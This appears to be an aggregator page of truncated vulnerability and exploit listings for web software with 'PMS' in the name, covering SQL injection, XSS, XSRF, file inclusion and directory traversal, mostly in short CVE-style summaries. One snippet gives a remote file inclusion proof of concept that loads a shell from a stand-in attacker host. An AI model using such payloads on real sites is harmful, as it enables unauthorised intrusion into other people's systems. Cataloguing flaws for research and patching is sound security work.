SynConnect PMS - SQL Injection Vulnerability

Exploit for php platform in category web applications Synchroweb Technology is a provider of application software, hardware and other innovative enterprise technology. They strive in development, deployment, and management of Linux and open source solutions for Internet infrastructure ranging fro...

SiteEngine 7.1 members to upload WEBSHELL vulnerability 0DAY-vulnerability warning-the black bar safety net

Author:hackdn Reprinted indicate the zend encoding and decryption is not complete, do not bother to look at the code, use a Tamper or the like of the plug-in test of the POST parameters, it's$sFile = $oFile'name';filtering too fool, looks like the 5th version after you modify a function. This is ...

Unfixed XSS vulnerability at www.pontins.com

Security researcher Tom-PMS, has submitted on 17/08/2010 a cross-site-scripting XSS vulnerability affecting www.pontins.com, which at the time of submission ranked 425406 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 15/12/2011. It is current...

Joomla com_adsmanager SQL Injection Vulnerability

Exploit for php platform in category web applications ======================================== Joomla comadsmanager SQli Vulnerability ======================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ ...

PMS (pvt) CMS Multiple SQL Injection Vulnerability

Exploit for php platform in category web applications ================================================== PMS pvt CMS Multiple SQL Injection Vulnerability ================================================== +Title: PMS pvt CMS Multiple SQL Injection Vulnerability + About :...

Remote file inclusion

PHP remote file inclusion vulnerability in modules/pms/index.php in Ciamos CMS 0.9.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the modulepath parameter...

Ciamos CMS 0.9.5 Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Ciamos CMS PoC : http://server/modules/pms/index.php?modulepath=http://attacker/shell.txt??? 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...

Joomla PMS Component 2.0.4 SQL Injection

PMS Enhanced-Config Tab: Backend - Ingorlist: Yes Create a valid User on the target Joomla 1.0.15 System with Community Builder, login and copy the cookieinformation into the $cookie var below, adjust the User-Agent on your Post Header dependent on your Browser. Notice: Pay attention on your...

Joomla Component com_pms 2.0.4 (Ignore-List) SQL Injection Exploit

No description provided by source. ?php / -------------------------- Joomla =1.0.15 Component compms =2.0.4 Ignore-List SQl-Injection Vuln -------------------------- Author: M4dhead Vulnerable joomla component : compms Conditions : magicquotesgpc = On or Off it doesn't matter ;...

XEngineSoft PMS/MGS/NM/AMS 1.0 (Auth Bypass) SQL Injection Vulns

Exploit for unknown platform in category web applications ================================================================ XEngineSoft PMS/MGS/NM/AMS 1.0 Auth Bypass SQL Injection Vulns ================================================================...

CVE-2008-6308

Multiple directory traversal vulnerabilities in Private Messaging System PMS 1.2.3 and earlier for PunBB allow remote attackers to include and execute arbitrary files via a .. dot dot in the punuserlanguage parameter to 1 functionsnavlinks.php, 2 headernewmessages.php, 3 profilesend.php, and 4...

CVE-2008-6308

CVE-2008-6308 affects the Private Messaging System (PMS) 1.2.3 and earlier for PunBB. A directory-traversal flaw allows remote attackers to include and execute arbitrary files via a .. in the pun_user[language] parameter targeting include/pms/ files (functions_navlinks.php, header_new_messages.ph...

mybb-xsrf.txt

Founded: 18, January 2008 Founder: nbbn MyBB Version: 1.2.11 and lower Type: Multiple XSRF Vulnerabilities 1 Delete Threads XSRF Vulnerabilitie: Poc: 1. Create a .html file and copy the code into it. 2. Upload the file and now send the link to an admin or moderator 3. Done 2 Delete PM's XSRF Vuln...

Design/Logic Flaw

Unspecified vulnerability in Quicksilver Forums before 1.4.1 allows remote attackers to delete arbitrary PMs via unspecified vectors...

CVE-2007-5171

Technical details about CVE-2007-5171 are not publicly provided in the supplied documents. Monitor for updates.

CVE-2007-5171

Unspecified vulnerability in Quicksilver Forums before 1.4.1 allows remote attackers to delete arbitrary PMs via unspecified vectors...

CVE-2005-4642

Multiple cross-site scripting XSS vulnerabilities in HydroBB 1.0.0 Beta 2 allow remote attackers to inject arbitrary web script or HTML via the s parameter to 1 search.php, 2 members.php, 3 stats.php, 4 viewforum.php, 5 register.php, 6 usercp.php, 7 groups.php, 8 pms.php, and 9 calendar.php...

Multiple Bugs in MyBB 1.0 PR2 Rev 686(Updated Nov 1, 2005)

Description: MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. MyBB has been designed with the end users in mind, you and your subscribers. Full control over your discussion system is presented right at the tip of your fingers, from multiple styles and themes to the...

CVE-2005-3087

The vulnerability concerns the SecureW2 3.0 TLS implementation, where the pre‑master secret (PMS) is generated using weak random number generators (rand/srand from system time). This weak RNG makes it easier for an attacker to guess the PMS and decrypt sensitive data, as described in the CVE reco...